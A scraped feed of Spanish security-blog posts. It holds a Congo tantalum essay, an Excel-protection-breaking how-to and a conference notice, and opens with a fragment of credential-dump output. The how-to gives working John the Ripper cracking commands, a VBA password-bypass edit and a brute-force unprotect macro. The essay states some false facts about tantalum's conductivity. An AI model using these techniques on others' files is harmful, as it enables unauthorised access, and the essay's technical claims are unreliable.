            -------- ---------------- ---------------- -------------------------------------
            ---
            wdigest  vmotos           DOMINIO         contraseña_en_claro

            wdigest  PC_CASA_3$      DOMINIO         22d38e7bd5c740e0aa7...f4f436cb11bb123165

            Sangre, soledad y muerte: el rostro maligno de la tecnología

            $
            0
            0
            Queridos lectores de Hackplayers, buen día/noche. Para escribir ciertos temas con un matiz específico, es necesario poseer un defecto de MIERDA… innato e inherente a la naturaleza de uno mismo, y a prueba de cualquier clase de crítica buena o mala y también a prueba de golpes. Bien a bien, no se cuál es ese defecto, solo lo tienes y es un poco retorcido; aunque tal vez sea más bien un propósito y no un defecto: el de llegar a ser lo suficientemente duro para escribir alguna cosa, de la que luego no sientas pena hasta los huesos y por supuesto cargues con todo y tu hipocresía. Y no importa si es una historia corta o larga, un post, un artículo, una reseña, una opinión, lo que fuera, siempre y cuando sea lo más demoledora posible. No es muy difícil ser implacable en este mundo de la tecnología, y menos cuando se ha crecido muy pegado al culto del underground, y todo lo que ello conlleva. 
             
            Por ejemplo; hay cosas que a la gente no se le puede contar, hay otras que deberían contárseles y no se les cuentan. Pero por otra parte, hay cosas que se cuentan y se saben perfectamente y muchos nos arrepentimos de haberlas escuchado, pensado, creído, o temido, y de esta forma las enterramos en el subsuelo de la memoria, donde nunca hay por qué rascarle, hasta que se vuelven indiferentes a nosotros, y ajenas a nuestro mundo. Tratamos de restarle la verdadera importancia que tienen. Porque lo más fácil, lo más cómodo y lo de mejor gusto, es dejar en el olvido todo lo que no afecta nuestras vidas…directamente.
             
            Todavía no termino mi ejemplo:
             
             Y...¿cuáles son los problemas de su vida cotidiana?

            Una historia de vida en el otro lado del planeta: África subsahariana, todos los jodidos días.
             
            Un niño congoleño que no es ficticio, naturalmente un niño desnutrido, famélico de tan sólo 8 años, que vive en unas condiciones increíblemente precarias, se halla en su vida diaria, pero no como todos los niños que conocemos. Ni siquiera un niño de orfanato, un niño mendigo, un niño que está solo en la calle,  el niño que ustedes quieran con una vida no muy afortunada ante nuestros ojos, tiene comparación alguna con el “estilo de vida” de nuestro niño congoleño. 
            Cada mísero día, ha de levantarse antes de ponerse el sol, por supuesto sin un rico desayuno de leche y miel, huevos y avena, carne y jugo; cereales, y se ve completamente obligado a unirse a un grupo de infantes como él.

            En sí, está en una cárcel, pero no ha cometido ningún crimen, aunque es prisionero, sin derechos, y con un millar de “obligaciones” por así decirlo, en otras palabras, no tiene nada y padece todo. Me parece que hasta un prisionero de máxima seguridad tiene un desayuno, una comida y una cena, y tiene cierta clase de derechos... pero el niño congoleño es tratado como la peor de las basuras. Recordemos que tiene únicamente 8 años. Y recuérdenlo a lo largo del texto.
             
            Descalzo, sin ropa que lo cobije, malnutrido, con la mirada llena de pesares, recorre varios kilómetros hasta un yacimiento, un pozo que es el símbolo de su esclavitud. Después de llegar, muy agotado al recorrer el extenso y difícil camino a pie, su verdadero “trabajo” apenas comienza; porque en ese pozo se encuentra un extraño y mágico mineral,  de ansiadas propiedades para TODOS los “blancos”.   

            Nuestro pequeño entonces, debe introducirse en ese lugar, exponerse a un calor insoportable, terrible, ser tocado por la radiación del pozo (ya que normalmente en esta clase de lugares existe uranio) y trabajar sin descanso para obtener la olla del duende. El niño toma su pesadísimo martillo de minero, y pum pone manos a la obra. 

            Como dije, se introduce en el pozo, pero si ya de por sí el trabajo de un minero con unas condiciones laborales aceptables, es arriesgado y difícil, ¿cómo será trabajar en una zanja de apenas 1 metro o 2 de ancho, inestable, con paredes arenosas y el miedo a golpear en un lado que lo sepulte para siempre bajo la fosa? Y como si no se pudiera poner mejor, llegan los soldados rebeldes, “administradores del yacimiento”, a verificar que el trabajo nunca cese. Estos soldados siempre van armados, y están llenos de rencor y de violencia, pues tampoco son muy bien tratados que digamos. Golpean, o balean sin escrúpulo a aquel que detenga su labor, amenazan, intimidan, violan a estos niños, a sus familias, y con mucha frecuencia todo esto se materializa diariamente en ese pozo. 
             
            A medida que pasan las horas, el calor aumenta. Las manos del niño, sus pies, y su cara contraen yagas permanentemente, y el polvo asfixiante le impide respirar de manera adecuada, a riesgo siempre de desmayarse, y desmayarse en este lugar recordemos implica la muerte; por dentro sus pulmones también están heridos, deshechos. Como si diariamente fumara 5 cajetillas de cigarro. Sólo que no lo hace, y estoy seguro que si pudiera, francamente jamás lo haría. 

            Todo el tiempo rodeado con este panorama, nuestro niño congoleño está acostumbrado a vivir en una zona de guerra, en el horror, está acostumbrado a ver morir a sus semejantes, a vivir en la masacre y la inmundicia.
             
            Cuando la jornada por fin termina, quizá nuestro niño sea recompensado con una paga, quizá no. A veces le dan 30 centavos de dólar por todo ese maldito día donde su vida corrió peligro todo el tiempo. Regresa como puede a su casa,  junto a sus padres que no pueden impedir que vaya a trabajar diario a ese yacimiento, lleno de dolor, en todos los sentidos, y con el sólo propósito de volver a tener que repetir esta jornada hasta…quién sabe cuando. Esto señores es el mismísimo y cabrón infierno.

            ¿Y cuántos años tenía nuestro niño?...

            Otras historias de vida en este lado del planeta: América, México DF, todos los días.
             
            Para todos nosotros la felicidad humana consiste en apretar teclitas y botones. Antes posiblemente preguntabas cómo le hago, ahora únicamente preguntas qué teclitas aprietas y listo. 
             
            Gracias a esas teclitas o botonsitos podemos hablar con nuestra mamita, con nuestro papito, con el noviecito, o la noviecita, ver películas de amor, florecitas, ponys, las princesitas y demás pendejadas. Tuitear que hoy estamos cansados, que estamos dolidos, que estamos bien pinches borrachos y podridos. Subir una foto de nuestra comida recién servida a Instagram, de nuestra querida mascota haciendo monerías con miles de hashtags: #instapuppy #instapet #momentswithmydog.
             
            Y lo hacemos con aparatitos super geniales, como Pame, mi amiga semi-geeky, guapa y millonaria de la Universidad, que siempre me presumía sus nuevos gadgets. “Pinches nacos pintados de muertos de hambre, cómo es que trabajan y no pueden tener un iPhone? Hasta en el Elektra lo sacas a 20 meses, que su familia sea pobre, no quiere decir que ellos deban serlo…”. 
            Niña rica, hija de padres, ricos, buena estudiante, muy buena de hecho, pero con esos aires despectivos hacia todo lo que le rodea, 100 en cálculo diferencial, pero ¿de qué está hecha en verdad esa cabecita suya?...
             
            Hace unas semanas, mi novia Mariana, se compró una Mac. Linda compu, un tanto gay para mi gusto pero ella es mujercita. “¿Me ayudas a instalarle Word y el Garage Band para cuando hagamos composiciones con la guitarra eléctrica y el bajo? Ah… y algo para los virus no?” 
            Ave María purísima, no es tan difícil darle a un botón que dice siguiente-siguiente-aceptar mi nena. Es la flojera del hombre blanco, un tag de Twitter #firstworldproblems., le quedaría excelente. “Oye qué crees?, en la promo donde compré la Mac, me incluyen un iPhone 5c de regalo! Es GRATIS, y yo no PAGUÉ nada por él, qué padre no!!??…si me ayudas a lo de mi Mac verdad mi amor?”…
             
            Mi jefa me tiene harto. Todo el día me trae como calzón de puta mandándome correos y mensajes. Ya hasta tuve que comprarle una batería nueva a mi Galaxy S4. Es increíble como ella, estando en Inglaterra y yo en México, conteste los mails de las 6 pm, solamente un minuto después. ¿No debería estar durmiendo la loca, es una ESCLAVA, acaso workaholic? “ *Ring ring “<Name> can you hear me?”, “Yes, ma’am, <Name> reporting the issues of the project in the last week…”. 

            Y ya que de una vez por todas me compre mi Alienware M17, porque esta piltrafa de Dell Inspiron con la que laboro, ya tiene 1 año entero conmigo. Es insoportable no estar a la vanguardia para un ingeniero como yo, ¿cómo quiere que trabaje así?….
             
            Está padrísimo mi Playstation 4!”, “Este nuevo teléfono si que rifa!”, “Mi compu es horrenda, la voy a tirar a la basura y cambiarla por una de 4 núcleos”, “Ah…perdí mi celular en un concierto, no importa, papi me compra otro!”“Vamos a hackear a todos los gobiernos del mundo con esta superbotnet en grid, si wiiii! Soy Anonymous, soy Tony Stark!”…
             
            Creo que estas historias le suenan a más de uno no?. A mi personalmente todas, porque me puedo incluir en muchas y estoy seguro que ustedes igual. Pero todavía no termino de explicar mi ejemplo.
             
            ¿Qué tiene que ver la primera historia con las segundas?  

            ¿Creen que la primera historia sea una ficción digna de un guión, donde el protagonista sea Leonardo di Caprio, y que ni con todos esos sentimientos y situaciones que probablemente el escritor de esta entrada esta exagerando, pueda ganar su preciado Oscar? ¿Cuál es la relación entre ambas?...
             
            Quisiera con todo mi deseo en verdad lectores, que todas estas historias sean ficción, pero no lo son, en especial la primera. Pero hipócritamente, como lo mencioné, y débilmente, y estúpidamente también de hecho, quisiera que las segundas historias que escribí, no tuvieran que ver tan pero TAN directamente con la primera. ¿Por qué?.
             
            Porque el niño congoleño que está en ese infierno, está ahí para que todos lean esta entrada, para que yo pueda teclear cada letra y después seguramente cuando termine, revise mi smartphone y cheque mi mail, mi TL en Twitter, hable por whatsapp con mis amigos, novia, etc. para salir con ellos, o para que pueda descargar cosas de Internet, cosas triviales, a veces innecesarias, y de las que no podemos zafarnos tan fácilmente aunque queramos. 
             
            Porque nadie tenemos la más remota idea, de que el mineral extraño y mágico que el niño congoleño saca de la mina, es ni más ni menos que el tantalio, el mineral del cual están hechos absolutamente todos, los dispositivos electrónicos que tenemos. Y resulta que muchas de las empresas de tecnología, obtienen el tantalio de estas minas, y con la sangre de varios niños como el de nuestra historia.   

            Y debido a que afortunada o más bien en este caso, desafortunadamente el Congo posee alrededor del 70% de las reservas mundiales de tantalio en el mundo, de acuerdo a cifras de diversas ONG’s, que no pretendo citar, realmente estamos consumiendo dispositivos hechos de sangre y muerte. 
             
            Y esto es totalmente cierto, ni una sola palabra de exageración o de mentira, en el texto. El problema reside en muchos focos de problemitas peores, guerras étnicas, intereses oscuros de compañías como Nintendo, Samsung, Sony, Apple, Microsoft, y un largo etc. contrabando, esclavitud, opresión, consumo tecnológico desmedido para que al final de cuentas un niño trabaje todo el día, reciba una porquería de paga, muera y el tantalio se venda a otros en una millonada, a grandes rasgos es el tema, que no pretendo desarrollar pero del que perfectamente ustedes lectores se pueden informar. 
             
            Otro punto que es de mi interés resaltar es que es un problema vigente, pero que tiene inicios desde el boom de la era tecnológica. El tantalio es vital simplemente porque es el mejor conductor de la Tierra, lo supera el oro, pero tiene otras propiedades que lo hacen imprescindible para fabricar todo lo que les dije. No lo sabemos porque simplemente, la masacre y el genocidio no interesan o impactan a nosotros los occidentales, así en el más bastardo espíritu de corporativismo y capitalismo asesinamos en proporciones geométricas. 

            Dicen por ahí, que muchas empresas regulan que el tantalio no proceda de países como el Congo que tienen este… problema, pero he leído en varios medios que esto no es cierto, que si el país tiene 70% de reservas mundiales es imposible que no provenga de ese lugar. 

            Para mayor información los invito a que entren a una página llamada Appfrica.com la cual entre otras aplicaciones que ayudan al desarrollo de África, nos muestra un mapa preciso de cómo las empresas si utilizan la ruta Congoleña para extraer tantalio. No lo dice directamente, pero ustedes verán que es una indirecta muy directa.

            * Entren a la página Appfrica.com para saber lo que dicen las letras pequeñas

            Para finalizar no es ni mucho menos mi intención acusar, señalar, o denostarnos a todos los que adquirimos tecnología. O sea todos en el mundo. Si lo ven bien ya estamos metidos en la vorágine y no necesito decirlo, ni acusarlos. Ignorarlo no es una excusa, ni va a cambiar las cosas o los hechos, y decir “bueno…y yo qué hago?” tampoco va quitar el hecho de que tácitamente compramos dispositivos que muy probablemente se fabricaron con la sangre,  el sudor, o incluso la muerte de personas como la que mencioné. Las verdades son intachables y no repudiables. 
             
            Creo también que con todo lo que pasa, debemos ser sensibles y sobretodo conscientes de nuestro entorno. Insisto, estoy muy seguro que muchas personas que leyeron esto, pueden decir…”bueno y qué puedo hacer yo ante un problema que me rebasa en magnitudes astrológicas?” La verdad no los puedo contradecir, es muy cierto, la labor para cambiar sólo un poco la situación, es titánica.  Sin embargo quiero dejarles también este pensamiento que llegó a mi vida hace algún tiempo y que puede hacerles cambiar de parecer con respecto al qué pueden hacer:
             
            La marca de una inteligencia de primer plano es su capacidad de pensar en dos ideas contradictorias sin perder la posibilidad de funcionar. 

            Esto es simple, podemos pensar que no hay nada, pero nada que se pueda realizar para cambiar la situación del Congo por ejemplo, pero no dejas de intentarlo nunca, jamás, ni de encontrar una alternativa o una brecha mínima de luz… en la oscuridad.
              
            PD.- No hay trofeo más grande para quien cuenta una historia fea y difícil que el semblante perplejo de quien lo lee. 
            Happy Hacking… creo.

            El abc para desproteger un Excel con contraseña

            $
            0
            0
            Desde que soy consultor de seguridad una de las herramientas que más utilizo de mi arsenal de hacking es... Excel ٩(͡๏̯͡๏)۶ ... y cómo este blog va de lo que va... pues vamos a mostraros un pequeño "how-to" para romper las principales protecciones de nuestras hojas de cálculo favoritas.

            Cifrar con contraseña

            Algo muy común es proteger el acceso total al fichero con una contraseña:



            Lo que hace Excel por debajo para proteger la hoja de cálculo de esta manera es cifrar el archivo con AES y una clave de 128 bits (ojo porque hay un pequeño truquito para aumentarla a 256 bits modificando el registro). Para romperlo, lo mejor en este caso es utilizar un ataque de diccionario con John the Ripper o cualquier otra herramienta que gustéis.... 

            Primero obtenemos el hash de la contraseña del documento con office2john incluido en la versión jumbo 1.7.9 compilada por Robert Harris:
            D:\Hacking\john-1.7.9-jumbo-7-Win-32\run>office2john.exe /cygdrive/d/Libro1.xlsx  > hash_excel.txt

            /cygdrive/d/Libro1.xlsx:$office$*2010*100000*128*16*507e4f65f0c73a48077b22ce5473ccec*50946a93488c091f536b4063eb3ae667*799528a214fb108b73f91ef5806222ebf9049d87e963238ac5a1acf82f9eb9db
             
            Ahora un poquito de benchmarking para comprobar la capacidad de mi patata de PC: 
            D:\Hacking\john-1.7.9-jumbo-7-Win-32\run>john --test --format=office
            Benchmarking: Office 2007/2010 SHA-1/AES [32/32]... DONE
            Raw:    30.1 c/s real, 30.3 c/s virtual
             
            Después iniciamos el ataque de fuerza bruta con el diccionario elegido: 
            D:\Hacking\john-1.7.9-jumbo-7-Win-32\run>john -w:dicio.txt hash_excel.txt
            Loaded 1 password hash (Office 2007/2010 SHA-1/AES [32/32])
            123456           (/cygdrive/d/Libro1.xlsx)
            guesses: 1  time: 0:00:00:00 DONE (Fri Mar 28 00:27:47 2014)  c/s: 14.83  trying
            : 123456
            Use the "--show" option to display all of the cracked passwords reliably
             
            Y en menos de 5 segundos tenemos acceso al mismo, gracias en parte a que el dueño del documento utilizó una de las peores contraseñas posibles

            Finalmente guardamos el fichero como Libro2.xlsm, pero antes en el desplegable 'Herramientas' seleccionamos 'Opciones generales' y eliminamos la contraseña de apertura:
             

            Bloquear el proyecto VBA

            Otra opción es establecer una contraseña para ver las propiedades o incluso visualizar el proyecto VBA (las macros). 




            Sin embargo esta *irrisoria* protección es para el UI y básicamente añade unas pocas líneas al form:

            CMG="0604AB00EA009E049E049A089A08"
            DPB="C6B41DD07A30374D374DC8B3384DDC63D35C51C89D809616E325E4129493EEFDBC48EE77D47B79"
            GC="6664CAA0CBE07BE17BE17B"


            Estos campos corresponden a ProjectProtectionState, ProjectPassword y ProjectVisibilityState respectivamente. Por lo que si borramos esos campos (reemplazando el texto con espacios en blanco) Excel no nos pedirá una contraseña para ver el código del proyecto...

            Para ello descomprimimos el fichero Libro2.xlsm como si de un zip se trataba, editamos el fichero xl\vbaProject.bin con notepad++ (u otro editor hexadecimal) y cambiamos DPB= por DBx=.

            Luego guardamos el archivo con la misma extensión .BIN y agregamos al zip sustituyendo el mismo archivo.

            Al abrir de nuevo el fichero Excel nos dirá que contiene una clave 'DPx' no válida:



            Simplemente continuamos cargando el proyecto, ignoramos el error, asignamos una nueva contraseña en las propiedades de VBAProject y salvamos...

            Al volver a abrirlo tendremos acceso al código de la macro:


            Proteger hoja actual y estructura del libro

            Otra opción que normalmente se utiliza es la de proteger la hoja actual y la estructura del libro para que otros usuarios no realicen cambios:


            Sin embargo, quitar esta protección también es bastante trivial. Simplemente añade al proyecto VBA la siguiente macro: 


            Sub PasswordBreaker()
            'Breaks worksheet password protection.
            Dim i As Integer, j As Integer, k As Integer
            Dim l As Integer, m As Integer, n As Integer
            Dim i1 As Integer, i2 As Integer, i3 As Integer
            Dim i4 As Integer, i5 As Integer, i6 As Integer
            On Error Resume Next
            For i = 65 To 66: For j = 65 To 66: For k = 65 To 66
            For l = 65 To 66: For m = 65 To 66: For i1 = 65 To 66
            For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66
            For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126
            ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _
            Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _
            Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
            If ActiveSheet.ProtectContents = False Then
            MsgBox "One usable password is "& Chr(i) & Chr(j) & _
            Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _
            Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
            Exit Sub
            End If
            Next: Next: Next: Next: Next: Next
            Next: Next: Next: Next: Next: Next
            End Sub

            Ejecutalá y se mostrará la clave de respaldo que ocupa internamente el código de Excel en dicha hoja: 
             

            A partir de ahora ya podremos editar la hoja excel e incluso desproteger el fichero:


            Y nada, a correr!

            Jornada de seguridad informática HighSecCON III

            $
            0
            0
            HighSecCON es un evento que organizan desde HighSec al que poco a poco va asistiendo y conociendo más gente. El próximo viernes 4 de abril tendrá lugar la tercera edición que cuenta con ponentes reconocidos a nivel internacional que prometen charlas muy interesantes:

            Sesión 1: 16:00-17:50
            Sesión 2: 18:10-20:00
            • Simon Roses“ Analizando binarios e ingeniería inversa.“
            • Jaime Sanchez  “From Kernel Space to WhatsApp Nightmare“
            El evento es completamente gratuito y sin animo de lucro, donde cuyo único fin es seguir difundiendo conocimiento, experiencias y que los asistentes puedan conocer gente dentro del mundo de la seguridad. Ademas, el evento esta muy enfocado a difundir estos conocimientos dentro del mundo universitario, por ello será celebrado en Salon de Actos (EPS-UAM) de la Escuela Politécnica de la Universidad Autónoma de Madrid (), que cuenta con una capacidad de más de 600 personas.

            Todos los que queráis asistir solo tenéis que registraros en  https://www.ticketea.com/highseccon/.

            Toda la información sobre el evento esta aquí: http://highseccon.es/
            Viewing all 1668 articles
            Browse latest View live